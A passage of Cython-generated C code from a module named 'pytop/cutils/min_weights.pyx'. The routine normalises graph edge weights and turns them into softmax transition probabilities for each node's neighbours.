__Pyx_PyFunction_FastCall(__pyx_t_12, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_5); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_12)) { PyObject *__pyx_temp[3] = {__pyx_t_10, __pyx_v_p, __pyx_v_s}; __pyx_t_5 = __Pyx_PyCFunction_FastCall(__pyx_t_12, __pyx_temp+1-__pyx_t_11, 2+__pyx_t_11); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GOTREF(__pyx_t_5); } else #endif { __pyx_t_8 = PyTuple_New(2+__pyx_t_11); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); if (__pyx_t_10) { __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_10); __pyx_t_10 = NULL; } __Pyx_INCREF(__pyx_v_p); __Pyx_GIVEREF(__pyx_v_p); PyTuple_SET_ITEM(__pyx_t_8, 0+__pyx_t_11, __pyx_v_p); __Pyx_INCREF(__pyx_v_s); __Pyx_GIVEREF(__pyx_v_s); PyTuple_SET_ITEM(__pyx_t_8, 1+__pyx_t_11, __pyx_v_s); __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_12, __pyx_t_8, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_encode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_12))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_12); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_12); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_12, function); } } __pyx_t_6 = (__pyx_t_5) ? __Pyx_PyObject_CallOneArg(__pyx_t_12, __pyx_t_5) : __Pyx_PyObject_CallNoArg(__pyx_t_12); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_v_min_edge_weights, __pyx_t_6); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF_SET(__pyx_v_w, __pyx_t_12); __pyx_t_12 = 0; /* "pytop/cutils/min_weights.pyx":91 * for s in neighbors: * w = min_edge_weights[("{},{}".format(p, s)).encode()] * g[p][s]["raw_w"] = w # <<<<<<<<<<<<<< * neighbor_weights.append(1 / w) * if len(neighbor_weights) > 1: */ __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_v_g, __pyx_v_p); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_6 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_v_s); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; if (unlikely(PyObject_SetItem(__pyx_t_6, __pyx_n_s_raw_w, __pyx_v_w) < 0)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "pytop/cutils/min_weights.pyx":92 * w = min_edge_weights[("{},{}".format(p, s)).encode()] * g[p][s]["raw_w"] = w * neighbor_weights.append(1 / w) # <<<<<<<<<<<<<< * if len(neighbor_weights) > 1: * min_neighbor_w = min(neighbor_weights) */ __pyx_t_6 = __Pyx_PyNumber_Divide(__pyx_int_1, __pyx_v_w); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_17 = __Pyx_PyList_Append(__pyx_v_neighbor_weights, __pyx_t_6); if (unlikely(__pyx_t_17 == ((int)-1))) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "pytop/cutils/min_weights.pyx":89 * neighbors = list(g.neighbors(p)) * if p != target: * for s in neighbors: # <<<<<<<<<<<<<< * w = min_edge_weights[("{},{}".format(p, s)).encode()] * g[p][s]["raw_w"] = w */ } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "pytop/cutils/min_weights.pyx":93 * g[p][s]["raw_w"] = w * neighbor_weights.append(1 / w) * if len(neighbor_weights) > 1: # <<<<<<<<<<<<<< * min_neighbor_w = min(neighbor_weights) * max_neighbor_w = max(neighbor_weights) */ __pyx_t_16 = PyList_GET_SIZE(__pyx_v_neighbor_weights); if (unlikely(__pyx_t_16 == ((Py_ssize_t)-1))) __PYX_ERR(0, 93, __pyx_L1_error) __pyx_t_15 = ((__pyx_t_16 > 1) != 0); if (__pyx_t_15) { /* "pytop/cutils/min_weights.pyx":94 * neighbor_weights.append(1 / w) * if len(neighbor_weights) > 1: * min_neighbor_w = min(neighbor_weights) # <<<<<<<<<<<<<< * max_neighbor_w = max(neighbor_weights) * for i, w in enumerate(neighbor_weights): */ __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_builtin_min, __pyx_v_neighbor_weights); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_XDECREF_SET(__pyx_v_min_neighbor_w, __pyx_t_7); __pyx_t_7 = 0; /* "pytop/cutils/min_weights.pyx":95 * if len(neighbor_weights) > 1: * min_neighbor_w = min(neighbor_weights) * max_neighbor_w = max(neighbor_weights) # <<<<<<<<<<<<<< * for i, w in enumerate(neighbor_weights): * delta_w = (w - min_neighbor_w) / (max_neighbor_w - min_neighbor_w) */ __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_builtin_max, __pyx_v_neighbor_weights); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_XDECREF_SET(__pyx_v_max_neighbor_w, __pyx_t_7); __pyx_t_7 = 0; /* "pytop/cutils/min_weights.pyx":96 * min_neighbor_w = min(neighbor_weights) * max_neighbor_w = max(neighbor_weights) * for i, w in enumerate(neighbor_weights): # <<<<<<<<<<<<<< * delta_w = (w - min_neighbor_w) / (max_neighbor_w - min_neighbor_w) * w = (delta_w * (self.minmax_inter[1] - self.minmax_inter[0])) + self.minmax_inter[0] */ __Pyx_INCREF(__pyx_int_0); __pyx_t_7 = __pyx_int_0; __pyx_t_6 = __pyx_v_neighbor_weights; __Pyx_INCREF(__pyx_t_6); __pyx_t_16 = 0; for (;;) { if (__pyx_t_16 >= PyList_GET_SIZE(__pyx_t_6)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_12 = PyList_GET_ITEM(__pyx_t_6, __pyx_t_16); __Pyx_INCREF(__pyx_t_12); __pyx_t_16++; if (unlikely(0 < 0)) __PYX_ERR(0, 96, __pyx_L1_error) #else __pyx_t_12 = PySequence_ITEM(__pyx_t_6, __pyx_t_16); __pyx_t_16++; if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); #endif __Pyx_XDECREF_SET(__pyx_v_w, __pyx_t_12); __pyx_t_12 = 0; __Pyx_INCREF(__pyx_t_7); __Pyx_XDECREF_SET(__pyx_v_i, __pyx_t_7); __pyx_t_12 = __Pyx_PyInt_AddObjC(__pyx_t_7, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = __pyx_t_12; __pyx_t_12 = 0; /* "pytop/cutils/min_weights.pyx":97 * max_neighbor_w = max(neighbor_weights) * for i, w in enumerate(neighbor_weights): * delta_w = (w - min_neighbor_w) / (max_neighbor_w - min_neighbor_w) # <<<<<<<<<<<<<< * w = (delta_w * (self.minmax_inter[1] - self.minmax_inter[0])) + self.minmax_inter[0] * neighbor_weights[i] = w */ __pyx_t_12 = PyNumber_Subtract(__pyx_v_w, __pyx_v_min_neighbor_w); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_5 = PyNumber_Subtract(__pyx_v_max_neighbor_w, __pyx_v_min_neighbor_w); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_8 = __Pyx_PyNumber_Divide(__pyx_t_12, __pyx_t_5); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF_SET(__pyx_v_delta_w, __pyx_t_8); __pyx_t_8 = 0; /* "pytop/cutils/min_weights.pyx":98 * for i, w in enumerate(neighbor_weights): * delta_w = (w - min_neighbor_w) / (max_neighbor_w - min_neighbor_w) * w = (delta_w * (self.minmax_inter[1] - self.minmax_inter[0])) + self.minmax_inter[0] # <<<<<<<<<<<<<< * neighbor_weights[i] = w * else: */ __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_minmax_inter); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_8, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_minmax_inter); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_12 = __Pyx_GetItemInt(__pyx_t_8, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = PyNumber_Subtract(__pyx_t_5, __pyx_t_12); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = PyNumber_Multiply(__pyx_v_delta_w, __pyx_t_8); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_minmax_inter); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_8, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = PyNumber_Add(__pyx_t_12, __pyx_t_5); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF_SET(__pyx_v_w, __pyx_t_8); __pyx_t_8 = 0; /* "pytop/cutils/min_weights.pyx":99 * delta_w = (w - min_neighbor_w) / (max_neighbor_w - min_neighbor_w) * w = (delta_w * (self.minmax_inter[1] - self.minmax_inter[0])) + self.minmax_inter[0] * neighbor_weights[i] = w # <<<<<<<<<<<<<< * else: * neighbor_weights[0] = self.minmax_inter[1] */ if (unlikely(PyObject_SetItem(__pyx_v_neighbor_weights, __pyx_v_i, __pyx_v_w) < 0)) __PYX_ERR(0, 99, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":96 * min_neighbor_w = min(neighbor_weights) * max_neighbor_w = max(neighbor_weights) * for i, w in enumerate(neighbor_weights): # <<<<<<<<<<<<<< * delta_w = (w - min_neighbor_w) / (max_neighbor_w - min_neighbor_w) * w = (delta_w * (self.minmax_inter[1] - self.minmax_inter[0])) + self.minmax_inter[0] */ } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "pytop/cutils/min_weights.pyx":93 * g[p][s]["raw_w"] = w * neighbor_weights.append(1 / w) * if len(neighbor_weights) > 1: # <<<<<<<<<<<<<< * min_neighbor_w = min(neighbor_weights) * max_neighbor_w = max(neighbor_weights) */ goto __pyx_L10; } /* "pytop/cutils/min_weights.pyx":101 * neighbor_weights[i] = w * else: * neighbor_weights[0] = self.minmax_inter[1] # <<<<<<<<<<<<<< * likelihoods = self.softmax(neighbor_weights) * for s, l in zip(neighbors, likelihoods): */ /*else*/ { __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_minmax_inter); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_GetItemInt(__pyx_t_7, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (unlikely(__Pyx_SetItemInt(__pyx_v_neighbor_weights, 0, __pyx_t_6, long, 1, __Pyx_PyInt_From_long, 1, 0, 1) < 0)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __pyx_L10:; /* "pytop/cutils/min_weights.pyx":102 * else: * neighbor_weights[0] = self.minmax_inter[1] * likelihoods = self.softmax(neighbor_weights) # <<<<<<<<<<<<<< * for s, l in zip(neighbors, likelihoods): * if g[p][s]["raw_w"] < np.inf: */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_softmax); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } __pyx_t_6 = (__pyx_t_8) ? __Pyx_PyObject_Call2Args(__pyx_t_7, __pyx_t_8, __pyx_v_neighbor_weights) : __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_v_neighbor_weights); __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF_SET(__pyx_v_likelihoods, __pyx_t_6); __pyx_t_6 = 0; /* "pytop/cutils/min_weights.pyx":103 * neighbor_weights[0] = self.minmax_inter[1] * likelihoods = self.softmax(neighbor_weights) * for s, l in zip(neighbors, likelihoods): # <<<<<<<<<<<<<< * if g[p][s]["raw_w"] < np.inf: * g[p][s]["prob"] = l */ __pyx_t_6 = PyTuple_New(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_INCREF(__pyx_v_neighbors); __Pyx_GIVEREF(__pyx_v_neighbors); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_v_neighbors); __Pyx_INCREF(__pyx_v_likelihoods); __Pyx_GIVEREF(__pyx_v_likelihoods); PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_v_likelihoods); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_builtin_zip, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (likely(PyList_CheckExact(__pyx_t_7)) || PyTuple_CheckExact(__pyx_t_7)) { __pyx_t_6 = __pyx_t_7; __Pyx_INCREF(__pyx_t_6); __pyx_t_16 = 0; __pyx_t_18 = NULL; } else { __pyx_t_16 = -1; __pyx_t_6 = PyObject_GetIter(__pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_18 = Py_TYPE(__pyx_t_6)->tp_iternext; if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 103, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; for (;;) { if (likely(!__pyx_t_18)) { if (likely(PyList_CheckExact(__pyx_t_6))) { if (__pyx_t_16 >= PyList_GET_SIZE(__pyx_t_6)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_7 = PyList_GET_ITEM(__pyx_t_6, __pyx_t_16); __Pyx_INCREF(__pyx_t_7); __pyx_t_16++; if (unlikely(0 < 0)) __PYX_ERR(0, 103, __pyx_L1_error) #else __pyx_t_7 = PySequence_ITEM(__pyx_t_6, __pyx_t_16); __pyx_t_16++; if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); #endif } else { if (__pyx_t_16 >= PyTuple_GET_SIZE(__pyx_t_6)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_7 = PyTuple_GET_ITEM(__pyx_t_6, __pyx_t_16); __Pyx_INCREF(__pyx_t_7); __pyx_t_16++; if (unlikely(0 < 0)) __PYX_ERR(0, 103, __pyx_L1_error) #else __pyx_t_7 = PySequence_ITEM(__pyx_t_6, __pyx_t_16); __pyx_t_16++; if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); #endif } } else { __pyx_t_7 = __pyx_t_18(__pyx_t_6); if (unlikely(!__pyx_t_7)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 103, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_7); } if ((likely(PyTuple_CheckExact(__pyx_t_7))) || (PyList_CheckExact(__pyx_t_7))) { PyObject* sequence = __pyx_t_7; Py_ssize_t size = __Pyx_PySequence_SIZE(sequence); if (unlikely(size != 2)) { if (size > 2) __Pyx_RaiseTooManyValuesError(2); else if (size >= 0) __Pyx_RaiseNeedMoreValuesError(size); __PYX_ERR(0, 103, __pyx_L1_error) } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS if (likely(PyTuple_CheckExact(sequence))) { __pyx_t_8 = PyTuple_GET_ITEM(sequence, 0); __pyx_t_5 = PyTuple_GET_ITEM(sequence, 1); } else { __pyx_t_8 = PyList_GET_ITEM(sequence, 0); __pyx_t_5 = PyList_GET_ITEM(sequence, 1); } __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(__pyx_t_5); #else __pyx_t_8 = PySequence_ITEM(sequence, 0); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = PySequence_ITEM(sequence, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); #endif __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { Py_ssize_t index = -1; __pyx_t_12 = PyObject_GetIter(__pyx_t_7); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_19 = Py_TYPE(__pyx_t_12)->tp_iternext; index = 0; __pyx_t_8 = __pyx_t_19(__pyx_t_12); if (unlikely(!__pyx_t_8)) goto __pyx_L15_unpacking_failed; __Pyx_GOTREF(__pyx_t_8); index = 1; __pyx_t_5 = __pyx_t_19(__pyx_t_12); if (unlikely(!__pyx_t_5)) goto __pyx_L15_unpacking_failed; __Pyx_GOTREF(__pyx_t_5); if (__Pyx_IternextUnpackEndCheck(__pyx_t_19(__pyx_t_12), 2) < 0) __PYX_ERR(0, 103, __pyx_L1_error) __pyx_t_19 = NULL; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; goto __pyx_L16_unpacking_done; __pyx_L15_unpacking_failed:; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_19 = NULL; if (__Pyx_IterFinish() == 0) __Pyx_RaiseNeedMoreValuesError(index); __PYX_ERR(0, 103, __pyx_L1_error) __pyx_L16_unpacking_done:; } __Pyx_XDECREF_SET(__pyx_v_s, __pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF_SET(__pyx_v_l, __pyx_t_5); __pyx_t_5 = 0; /* "pytop/cutils/min_weights.pyx":104 * likelihoods = self.softmax(neighbor_weights) * for s, l in zip(neighbors, likelihoods): * if g[p][s]["raw_w"] < np.inf: # <<<<<<<<<<<<<< * g[p][s]["prob"] = l * else: */ __pyx_t_7 = __Pyx_PyObject_GetItem(__pyx_v_g, __pyx_v_p); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_5 = __Pyx_PyObject_GetItem(__pyx_t_7, __pyx_v_s); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Dict_GetItem(__pyx_t_5, __pyx_n_s_raw_w); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_np); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_inf); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyObject_RichCompare(__pyx_t_7, __pyx_t_8, Py_LT); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_15 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_15 < 0)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (__pyx_t_15) { /* "pytop/cutils/min_weights.pyx":105 * for s, l in zip(neighbors, likelihoods): * if g[p][s]["raw_w"] < np.inf: * g[p][s]["prob"] = l # <<<<<<<<<<<<<< * else: * g[p][s]["prob"] = _EPSILON */ __pyx_t_5 = __Pyx_PyObject_GetItem(__pyx_v_g, __pyx_v_p); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_8 = __Pyx_PyObject_GetItem(__pyx_t_5, __pyx_v_s); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (unlikely(PyObject_SetItem(__pyx_t_8, __pyx_n_s_prob, __pyx_v_l) < 0)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; /* "pytop/cutils/min_weights.pyx":104 * likelihoods = self.softmax(neighbor_weights) * for s, l in zip(neighbors, likelihoods): * if g[p][s]["raw_w"] < np.inf: # <<<<<<<<<<<<<< * g[p][s]["prob"] = l * else: */ goto __pyx_L17; } /* "pytop/cutils/min_weights.pyx":107 * g[p][s]["prob"] = l * else: * g[p][s]["prob"] = _EPSILON # <<<<<<<<<<<<<< * else: * for s in neighbors: */ /*else*/ { __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_EPSILON); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = __Pyx_PyObject_GetItem(__pyx_v_g, __pyx_v_p); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = __Pyx_PyObject_GetItem(__pyx_t_5, __pyx_v_s); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (unlikely(PyObject_SetItem(__pyx_t_7, __pyx_n_s_prob, __pyx_t_8) < 0)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } __pyx_L17:; /* "pytop/cutils/min_weights.pyx":103 * neighbor_weights[0] = self.minmax_inter[1] * likelihoods = self.softmax(neighbor_weights) * for s, l in zip(neighbors, likelihoods): # <<<<<<<<<<<<<< * if g[p][s]["raw_w"] < np.inf: * g[p][s]["prob"] = l */ } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "pytop/cutils/min_weights.pyx":88 * neighbor_weights = [] * neighbors = list(g.neighbors(p)) * if p != target: # <<<<<<<<<<<<<< * for s in neighbors: * w = min_edge_weights[("{},{}".format(p, s)).encode()] */ goto __pyx_L7; } /* "pytop/cutils/min_weights.pyx":109 * g[p][s]["prob"] = _EPSILON * else: * for s in neighbors: # <<<<<<<<<<<<<< * g[p][s]["prob"] = _EPSILON * g[p][s]["raw_w"] = np.inf */ /*else*/ { __pyx_t_6 = __pyx_v_neighbors; __Pyx_INCREF(__pyx_t_6); __pyx_t_16 = 0; for (;;) { if (__pyx_t_16 >= PyList_GET_SIZE(__pyx_t_6)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_8 = PyList_GET_ITEM(__pyx_t_6, __pyx_t_16); __Pyx_INCREF(__pyx_t_8); __pyx_t_16++; if (unlikely(0 < 0)) __PYX_ERR(0, 109, __pyx_L1_error) #else __pyx_t_8 = PySequence_ITEM(__pyx_t_6, __pyx_t_16); __pyx_t_16++; if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); #endif __Pyx_XDECREF_SET(__pyx_v_s, __pyx_t_8); __pyx_t_8 = 0; /* "pytop/cutils/min_weights.pyx":110 * else: * for s in neighbors: * g[p][s]["prob"] = _EPSILON # <<<<<<<<<<<<<< * g[p][s]["raw_w"] = np.inf * nx.write_gpickle(g, os.path.join(self.save_path, str(name) + ".gpickle")) */ __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_EPSILON); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_7 = __Pyx_PyObject_GetItem(__pyx_v_g, __pyx_v_p); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 110, __pyx_L1_error) 